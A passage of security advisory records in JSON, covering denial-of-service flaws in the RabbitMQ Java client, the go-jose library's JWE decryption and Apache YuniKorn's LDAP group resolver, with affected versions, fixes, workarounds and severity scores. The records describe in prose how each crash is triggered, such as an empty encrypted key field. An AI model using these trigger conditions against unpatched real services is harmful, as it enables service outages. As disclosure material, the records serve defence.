RPC with this client, including the pattern shown in the official Java RPC tutorial.",
  "id": "GHSA-7822-rcf6-97fx",
  "modified": "2026-10-07T20:25:29Z",
  "published": "2026-10-07T20:25:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106122"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:28:56Z",
    "nvd_published_at": "2026-04-06T17:17:11Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nDecrypting a JSON Web Encryption (JWE) object will panic if the `alg` field indicates a key wrapping algorithm ([one ending in `KW`](https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants), with the exception of `A128GCMKW`, `A192GCMKW`, and `A256GCMKW`) and the `encrypted_key` field is empty. The panic happens when `cipher.KeyUnwrap()` in `key_wrap.go` attempts to allocate a slice with a zero or negative length based on the length of the `encrypted_key`.\n\nThis code path is reachable from `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` followed by `Decrypt()` on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.\n\nThis panic is also reachable by calling `cipher.KeyUnwrap()` directly with any `ciphertext` parameter less than 16 bytes long, but calling this function directly is less common.\n\nPanics can lead to denial of service.\n\n### Fixed In\n\n4.1.4 and v3.0.5\n\n### Workarounds\n\nIf the list of `keyAlgorithms` passed to `ParseEncrypted()` / `ParseEncryptedJSON()` / `ParseEncryptedCompact()` does not include key wrapping algorithms (those ending in `KW`), your application is unaffected.\n\nIf your application uses key wrapping, you can prevalidate to the JWE objects to ensure the `encrypted_key` field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second `.`).\n\n### Thanks\n\nThanks to Datadog\u0027s Security team for finding this issue.",
  "id": "GHSA-78h2-9frx-2jm8",
  "modified": "2026-04-06T23:11:46Z",
  "published": "2026-04-03T03:28:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34986"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-jose/go-jose"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Go JOSE Panics in JWE decryption"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-78243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-07T10:17:36Z",
    "severity": "LOW"
  },
  "details": "Apache YuniKorn 1.8.0 and later, if configured with the LDAP group resolver, crashes due to an out of bounds read processing group membership entries.If the LDAP server returns a group membership entry, memberOf attribute, for a user specified in the pod the server crashes\u00a0if a membership record does not start with \"CN=\".\n\n\n\n\nThis only affects install that have the non default LDAP group provider configured.\u00a0\n\n\nUsers are recommended to upgrade to version 1.10.0, which fixes this issue.",
  "id": "GHSA-79rm-9vfm-ggww",
  "modified": "2026-10-07T12:31:58Z",
  "published": "2026-10-07T12:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78243"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/yz51lpj6k8q2hz7x2gjdpcrk44hdn25v"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/10/07/24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:A/V:D/RE:H/U:Green",
      "type": "CVSS_V4"
    }
  ]
}